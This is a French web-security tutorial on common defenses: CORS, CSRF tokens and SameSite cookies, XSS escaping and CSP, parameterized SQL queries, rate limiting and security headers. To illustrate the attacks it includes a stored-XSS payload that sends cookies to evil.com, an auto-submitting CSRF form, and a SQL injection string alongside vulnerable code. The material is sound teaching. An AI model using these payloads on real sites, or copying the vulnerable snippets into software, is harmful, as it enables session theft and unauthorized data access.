Protections courantes

Défenses contre les menaces les plus fréquentes dans les applications web : CORS, CSRF, XSS, injection SQL, rate limiting et autres protections essentielles.

Les menaces auxquelles tout système doit faire face

Quelle que soit l’architecture, il existe un ensemble d’attaques que toute application web doit savoir gérer. Ces attaques sont bien connues, documentées et disposent de solutions éprouvées — mais elles restent la cause de la majorité des failles de sécurité, car elles sont ignorées ou mal implémentées.

Cross-Origin Resource Sharing (CORS)

CORS n’est pas une attaque mais un mécanisme de sécurité du navigateur. Il contrôle quels domaines peuvent effectuer des requêtes vers ton API.

Le problème

Par défaut, les navigateurs bloquent les requêtes JavaScript vers des domaines différents de celui de la page actuelle. Cela protège contre les scripts malveillants qui tenteraient d’accéder à des API au nom de l’utilisateur.

Configuration correcte

// ❌ Dangereux : autoriser n'importe quelle origine
app.use(cors({ origin: '*' }));

// ✅ Sûr : uniquement les origines connues
app.use(cors({
  origin: ['https://miapp.com', 'https://admin.miapp.com'],
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
  credentials: true,
  maxAge: 86400  // Cache du preflight pendant 24 heures
}));

Headers CORS importants

HeaderObjectif
Access-Control-Allow-OriginDomaines autorisés
Access-Control-Allow-MethodsMéthodes HTTP autorisées
Access-Control-Allow-HeadersHeaders personnalisés autorisés
Access-Control-Allow-CredentialsSi les cookies/tokens sont autorisés
Access-Control-Max-AgeDurée de cache du preflight

Erreurs courantes

  • Utiliser origin: '*' avec credentials: true — les navigateurs le rejettent
  • Ne pas gérer les requêtes OPTIONS (preflight)
  • Configurer CORS uniquement en développement et l’oublier en production

Cross-Site Request Forgery (CSRF)

CSRF trompe le navigateur de l’utilisateur pour qu’il exécute des actions non désirées sur un site où il est authentifié.

Comment fonctionne l’attaque

1. L'utilisateur se connecte à banco.com (cookie de session active)
2. L'utilisateur visite site-malveillant.com
3. site-malveillant.com contient un formulaire caché :
   <form action="https://banco.com/transferir" method="POST">
     <input name="destino" value="atacante-123">
     <input name="monto" value="10000">
   </form>
   <script>document.forms[0].submit();</script>
4. Le navigateur envoie automatiquement le cookie de session
5. banco.com traite le transfert comme s'il était légitime

Protections

Token CSRF

Le serveur génère un token unique par session qui doit être inclus dans chaque formulaire :

<form action="/transferir" method="POST">
  <input type="hidden" name="_csrf" value="token-aleatorio-único">
  <input name="destino" value="">
  <input name="monto" value="">
  <button type="submit">Transferir</button>
</form>

Le serveur vérifie que le token correspond avant de traiter la requête.

La façon la plus moderne et efficace de prévenir le CSRF :

Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
ValeurComportement
StrictLe cookie n’est jamais envoyé dans les requêtes cross-site
LaxEnvoyé lors de la navigation top-level (liens) mais pas dans les formulaires POST
NoneToujours envoyé (nécessite Secure)

Vérification du header Origin/Referer

Le serveur peut vérifier que la requête provient d’une origine attendue :

function verifyCsrf(req) {
  const origin = req.headers.origin || req.headers.referer;
  const allowedOrigins = ['https://miapp.com'];
  
  if (!allowedOrigins.some(o => origin?.startsWith(o))) {
    throw new Error('CSRF detectado');
  }
}

Cross-Site Scripting (XSS)

XSS permet à un attaquant d’injecter des scripts malveillants dans des pages consultées par d’autres utilisateurs.

Types de XSS

Stored XSS (persistant)

Le script malveillant est stocké dans la base de données et s’exécute chaque fois qu’un utilisateur consulte le contenu :

L'attaquant publie un commentaire :
  "Gran artículo! <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>"

Chaque utilisateur qui voit le commentaire exécute le script sans le savoir.

Reflected XSS

Le script arrive dans l’URL et se reflète dans la réponse :

https://miapp.com/buscar?q=<script>alert('XSS')</script>

DOM-based XSS

Le script s’exécute en manipulant directement le DOM côté client :

// Vulnérable : utilise innerHTML avec des données de l'URL
const search = new URLSearchParams(location.search).get('q');
document.getElementById('results').innerHTML = `Resultados para: ${search}`;

Protections contre XSS

Échapper la sortie

Toujours échapper les données de l’utilisateur avant de les insérer dans le HTML :

// Fonction d'échappement basique
function escapeHtml(text) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#039;'
  };
  return text.replace(/[&<>"']/g, m => map[m]);
}

Content Security Policy

CSP est la défense la plus efficace contre XSS :

Content-Security-Policy: script-src 'self'; object-src 'none';

Cela empêche l’exécution de scripts inline et n’autorise que les scripts provenant du même domaine.

Utiliser des frameworks modernes

React, Vue et Angular échappent automatiquement le contenu rendu. Le risque apparaît lorsqu’on utilise dangerouslySetInnerHTML (React) ou v-html (Vue).

Injection SQL

L’injection SQL permet à un attaquant d’exécuter des requêtes arbitraires sur la base de données.

Comment ça fonctionne

// Code vulnérable
const query = `SELECT * FROM users WHERE email = '${email}' AND password = '${password}'`;

// L'attaquant envoie comme email :
// ' OR '1'='1' --
// La requête résultante :
// SELECT * FROM users WHERE email = '' OR '1'='1' --' AND password = ''
// Cela retourne TOUS les utilisateurs

Protections

Requêtes paramétrées

La protection la plus efficace et la plus simple :

// Node.js avec pg
const result = await db.query(
  'SELECT * FROM users WHERE email = $1 AND password_hash = $2',
  [email, passwordHash]
);

// Java avec PreparedStatement
PreparedStatement stmt = conn.prepareStatement(
  "SELECT * FROM users WHERE email = ? AND password_hash = ?"
);
stmt.setString(1, email);
stmt.setString(2, passwordHash);

ORM avec requêtes sécurisées

Les ORM génèrent automatiquement des requêtes paramétrées :

// Prisma
const user = await prisma.user.findUnique({
  where: { email: email }
});

// TypeORM
const user = await userRepository.findOne({
  where: { email: email }
});

Validation des entrées

En plus de paramétrer, valide que les données ont le format attendu :

// Valider le format de l'email avant d'interroger la base
const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
if (!emailRegex.test(email)) {
  throw new ValidationError('Formato de email inválido');
}

Rate Limiting

Le rate limiting protège contre les attaques par force brute, le DDoS et l’abus de l’API.

Stratégies de rate limiting

Par IP

// Limiter à 100 requêtes par minute et par IP
const limiter = rateLimit({
  windowMs: 60 * 1000,
  max: 100,
  message: 'Demasiadas peticiones. Intente en un minuto.'
});

Par utilisateur authentifié

// Limiter à 1000 requêtes par heure et par utilisateur
const userLimiter = rateLimit({
  windowMs: 60 * 60 * 1000,
  max: 1000,
  keyGenerator: (req) => req.user.id
});

Par endpoint

Les endpoints sensibles comme la connexion ou l’inscription nécessitent des limites plus strictes :

// Login : maximum 5 tentatives par minute
app.post('/auth/login', rateLimit({ windowMs: 60000, max: 5 }), loginHandler);

// Inscription : maximum 3 par heure
app.post('/auth/register', rateLimit({ windowMs: 3600000, max: 3 }), registerHandler);

Réponse au rate limiting

Lorsque la limite est dépassée, réponds avec :

HTTP/1.1 429 Too Many Requests
Retry-After: 60
X-RateLimit-Limit: 100
X-RateLimit-Remaining: 0
X-RateLimit-Reset: 1705314060

Autres protections essentielles

Headers de sécurité

Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()

Validation des uploads

Si ton application accepte des fichiers, valide :

  • Le type MIME réel (pas seulement l’extension)
  • La taille maximale
  • Le contenu (scan antimalware si possible)
  • Stocke en dehors du répertoire web public

Logging de sécurité

Enregistre les événements de sécurité pour la détection et la réponse :

  • Tentatives de connexion échouées
  • Changements de permissions
  • Accès à des données sensibles
  • Requêtes bloquées par le rate limiting
  • Erreurs de validation suspectes

Résumé

Les protections courantes constituent la base de la sécurité web. CORS contrôle l’accès cross-origin, CSRF prévient les actions non autorisées, XSS bloque l’injection de scripts, les requêtes paramétrées éliminent l’injection SQL, et le rate limiting protège contre les abus. Aucune de ces protections n’est optionnelle — toutes doivent être implémentées dès le début du projet. La majorité des failles de sécurité exploitent l’absence de ces défenses de base, et non des vulnérabilités sophistiquées.